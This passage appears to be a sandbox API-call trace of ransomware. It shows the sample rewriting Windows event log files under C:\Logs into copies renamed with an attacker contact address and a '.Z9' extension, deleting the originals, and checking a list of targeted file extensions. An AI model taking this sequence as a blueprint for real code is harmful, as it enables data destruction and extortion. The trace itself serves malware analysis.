	[0080.758] CloseHandle (hObject=0x364) returned 1
	[0080.758] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20
	[0080.758] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.758] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0080.758] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.758] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.758] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0080.759] GetLastError () returned 0x0
	[0080.759] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.761] WriteFile (in: hFile=0x354, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.763] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.763] WriteFile (in: hFile=0x354, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x132, lpOverlapped=0x0) returned 1
	[0080.763] SetEndOfFile (hFile=0x354) returned 1
	[0080.764] CloseHandle (hObject=0x354) returned 1
	[0080.765] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.766] SetEndOfFile (hFile=0x364) returned 1
	[0080.767] CloseHandle (hObject=0x364) returned 1
	[0080.767] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.767] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1
	[0080.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.768] lstrlenW (lpString=".doc") returned 4
	[0080.768] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.768] lstrlenW (lpString=".docx") returned 5
	[0080.768] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.768] lstrlenW (lpString=".pdf") returned 4
	[0080.768] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.768] lstrlenW (lpString=".xls") returned 4
	[0080.768] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.768] lstrlenW (lpString=".xlsx") returned 5
	[0080.768] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.768] lstrlenW (lpString=".ppt") returned 4
	[0080.768] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.768] lstrlenW (lpString=".zip") returned 4
	[0080.768] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.768] lstrlenW (lpString=".rar") returned 4
	[0080.768] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.768] lstrlenW (lpString=".bz2") returned 4
	[0080.768] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.768] lstrlenW (lpString=".7z") returned 3
	[0080.768] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.768] lstrlenW (lpString=".dbf") returned 4
	[0080.768] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.768] lstrlenW (lpString=".1cd") returned 4
	[0080.768] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.768] lstrlenW (lpString=".jpg") returned 4
	[0080.768] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.769] lstrlenW (lpString=".doc") returned 4
	[0080.769] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.769] lstrlenW (lpString=".docx") returned 5
	[0080.769] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.769] lstrlenW (lpString=".pdf") returned 4
	[0080.769] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.769] lstrlenW (lpString=".xls") returned 4
	[0080.769] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.769] lstrlenW (lpString=".xlsx") returned 5
	[0080.769] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.769] lstrlenW (lpString=".ppt") returned 4
	[0080.769] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.769] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.769] lstrlenW (lpString=".zip") returned 4
	[0080.769] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.769] lstrlenW (lpString=".rar") returned 4
	[0080.769] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.769] lstrlenW (lpString=".bz2") returned 4
	[0080.769] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.769] lstrlenW (lpString=".7z") returned 3
	[0080.769] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.769] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.769] lstrlenW (lpString=".dbf") returned 4
	[0080.769] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.769] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.769] lstrlenW (lpString=".1cd") returned 4
	[0080.769] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.769] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0080.769] lstrlenW (lpString=".jpg") returned 4
	[0080.769] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.769] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.769] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47
	[0080.770] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0080.771] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0080.771] CloseHandle (hObject=0x364) returned 1
	[0080.771] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20
	[0080.771] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.771] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0080.771] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.771] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.771] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0080.772] GetLastError () returned 0x0
	[0080.772] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.774] WriteFile (in: hFile=0x354, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.083] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.083] WriteFile (in: hFile=0x354, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x132, lpOverlapped=0x0) returned 1
	[0081.083] SetEndOfFile (hFile=0x354) returned 1
	[0081.108] CloseHandle (hObject=0x354) returned 1
	[0081.110] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.110] SetEndOfFile (hFile=0x364) returned 1
	[0081.111] CloseHandle (hObject=0x364) returned 1
	[0081.111] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0081.111] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1
	[0081.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.111] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.112] lstrlenW (lpString=".doc") returned 4
	[0081.112] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.112] lstrlenW (lpString=".docx") returned 5
	[0081.112] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.112] lstrlenW (lpString=".pdf") returned 4
	[0081.112] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.112] lstrlenW (lpString=".xls") returned 4
	[0081.112] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.112] lstrlenW (lpString=".xlsx") returned 5
	[0081.112] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.112] lstrlenW (lpString=".ppt") returned 4
	[0081.112] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.112] lstrlenW (lpString=".zip") returned 4
	[0081.112] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.112] lstrlenW (lpString=".rar") returned 4
	[0081.112] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.112] lstrlenW (lpString=".bz2") returned 4
	[0081.112] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.112] lstrlenW (lpString=".7z") returned 3
	[0081.112] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.112] lstrlenW (lpString=".dbf") returned 4
	[0081.112] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.112] lstrlenW (lpString=".1cd") returned 4
	[0081.112] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.112] lstrlenW (lpString=".jpg") returned 4
	[0081.112] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.112] lstrlenW (lpString=".doc") returned 4
	[0081.113] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.113] lstrlenW (lpString=".docx") returned 5
	[0081.113] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.113] lstrlenW (lpString=".pdf") returned 4
	[0081.113] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.113] lstrlenW (lpString=".xls") returned 4
	[0081.113] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.113] lstrlenW (lpString=".xlsx") returned 5
	[0081.113] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.113] lstrlenW (lpString=".ppt") returned 4
	[0081.113] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.113] lstrlenW (lpString=".zip") returned 4
	[0081.113] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.113] lstrlenW (lpString=".rar") returned 4
	[0081.113] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.113] lstrlenW (lpString=".bz2") returned 4
	[0081.113] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.113] lstrlenW (lpString=".7z") returned 3
	[0081.113] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.113] lstrlenW (lpString=".dbf") returned 4
	[0081.113] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.113] lstrlenW (lpString=".1cd") returned 4
	[0081.113] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0081.113] lstrlenW (lpString=".jpg") returned 4
	[0081.113] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.113] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0081.113] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49
	[0081.113] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0081.114] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0081.114] CloseHandle (hObject=0x364) returned 1
	[0081.114] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20
	[0081.114] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.114] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0081.114] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.114] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.114] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0081.114] GetLastError () returned 0x0
	[0081.114] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.119] WriteFile (in: hFile=0x354, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.121] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.121] WriteFile (in: hFile=0x354, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x136, lpOverlapped=0x0) returned 1
	[0081.121] SetEndOfFile (hFile=0x354) returned 1
	[0081.122] CloseHandle (hObject=0x354) returned 1
	[0081.123] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.123] SetEndOfFile (hFile=0x364) returned 1
	[0081.125] CloseHandle (hObject=0x364) returned 1
	[0081.125] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0081.125] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1
	[0081.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.125] lstrlenW (lpString=".doc") returned 4
	[0081.125] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.125] lstrlenW (lpString=".docx") returned 5
	[0081.125] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.125] lstrlenW (lpString=".pdf") returned 4
	[0081.125] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.125] lstrlenW (lpString=".xls") returned 4
	[0081.125] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.126] lstrlenW (lpString=".xlsx") returned 5
	[0081.126] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.126] lstrlenW (lpString=".ppt") returned 4
	[0081.126] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.126] lstrlenW (lpString=".zip") returned 4
	[0081.126] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.126] lstrlenW (lpString=".rar") returned 4
	[0081.126] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.126] lstrlenW (lpString=".bz2") returned 4
	[0081.126] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.126] lstrlenW (lpString=".7z") returned 3
	[0081.126] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.126] lstrlenW (lpString=".dbf") returned 4
	[0081.126] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.126] lstrlenW (lpString=".1cd") returned 4
	[0081.126] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.126] lstrlenW (lpString=".jpg") returned 4
	[0081.126] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.126] lstrlenW (lpString=".doc") returned 4
	[0081.126] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.126] lstrlenW (lpString=".docx") returned 5
	[0081.126] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.126] lstrlenW (lpString=".pdf") returned 4
	[0081.126] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.126] lstrlenW (lpString=".xls") returned 4
	[0081.126] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.126] lstrlenW (lpString=".xlsx") returned 5
	[0081.126] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.126] lstrlenW (lpString=".ppt") returned 4
	[0081.127] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.127] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.127] lstrlenW (lpString=".zip") returned 4
	[0081.127] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.127] lstrlenW (lpString=".rar") returned 4
	[0081.127] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.127] lstrlenW (lpString=".bz2") returned 4
	[0081.127] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.127] lstrlenW (lpString=".7z") returned 3
	[0081.127] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.127] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.127] lstrlenW (lpString=".dbf") returned 4
	[0081.127] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.127] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.127] lstrlenW (lpString=".1cd") returned 4
	[0081.127] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.127] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0081.127] lstrlenW (lpString=".jpg") returned 4
	[0081.127] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.127] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0081.127] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48
	[0081.127] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0081.127] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1052672) returned 1
	[0081.127] CloseHandle (hObject=0x364) returned 1
	[0081.128] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20
	[0081.128] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.128] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0081.128] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.128] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
